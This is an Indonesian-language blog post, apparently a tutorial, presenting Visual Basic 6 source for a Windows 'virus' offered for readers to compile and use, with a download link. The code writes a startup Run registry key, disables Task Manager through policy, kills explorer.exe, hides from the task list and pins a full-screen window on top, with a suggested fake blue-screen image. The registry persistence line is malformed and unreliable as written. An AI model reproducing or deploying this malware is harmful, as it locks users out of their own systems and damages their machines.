Rahajeng Wengi every body... ok, langsung saja berikut ini adalah contoh dari Virus pada windows yang memanfaatkan registry dan API(Aplication Programing Interface). Virus ini dapat mencopy diri ke %Temp% (tempat temporary). Tidak perlu control kita hanya butuh satu Form  sebagai berikut:
'Deklarasi Windows API agar selalu OnTop pada code General:

Dim objshell
Option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long


Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOZORDER = &H4
Const SWP_NOREDRAW = &H8
Const SWP_NOACTIVATE = &H10
Const SWP_FRAMECHANGED = &H20      
Const SWP_SHOWWINDOW = &H40
Const SWP_HIDEWINDOW = &H80
Const SWP_NOCOPYBITS = &H100
Const SWP_NOOWNERZORDER = &H200     
Const SWP_DRAWFRAME = SWP_FRAMECHANGED
Const SWP_NOREPOSITION = SWP_NOOWNERZORDER
Const HWND_TOP = 0
Const HWND_BOTTOM = 1
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Private Type NOTIFYICONDATA
    cbSize As Long
    hwnd As Long
    uID As Long
    uFlags As Long
    uCallbackMessage As Long
    hIcon As Long
    szTip As String * 64
End Type
  
Const NIM_ADD = 0
Const NIM_MODIFY = 1
Const NIM_DELETE = 2
Const NIF_MESSAGE = 1
Const NIF_ICON = 2
Const NIF_TIP = 4

Const WM_MOUSEMOVE = &H200
Const WM_LBUTTONDOWN = &H201
Const WM_LBUTTONUP = &H202
Const WM_LBUTTONDBLCLK = &H203
Const WM_RBUTTONDOWN = &H204
Const WM_RBUTTONUP = &H205
Const WM_RBUTTONDBLCLK = &H206
Const WM_MBUTTONDOWN = &H207
Const WM_MBUTTONUP = &H208
Const WM_MBUTTONDBLCLK = &H209
  
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function Shell_NotifyIconA Lib "SHELL32" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Integer


Fungsi dari OnTop ini adalah agar posisi jendela windows selalu paling terdepan. selanjutnya pada Form:


Private Sub Form_Load()

On Error Resume Next 'Untuk melanjtkan apapun kesalahan yang terjadi
Dim B, S, C, S1
Set objshell = CreateObject("wscript.shell")
Set C = CreateObject("wscript.shell")
'membuat virus startup
S1 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HAHAHA"
C.regwrite S1, 1, "REG_DWORD" = "%TEMP%\HAHA.EXE"

Set B = CreateObject("wscript.shell")
'mematikan taskmanager
S = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr"
B.regwrite S, 1, "REG_DWORD"
Set objshell = CreateObject("wscript.shell")
'mematikan windows explorer (jahat ya...)
objshell.run "taskkill /f /im explorer.exe"
'tidak menampilkan diri pada taskmanager
App.TaskVisible = False
Dim i
'mengaktifkan fungsi api
 i = SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE)
End Sub


Ya hanya itu saja, oyA untuk lebih kerennya anda bisa memberi gambar blue screen pada form dan menyetting agar form windows state pada properti Maximized. Compile menjadi exe dengan nama HAHA.EXE ATAU APA SAJA, bila bingung download disini VIRUS.rar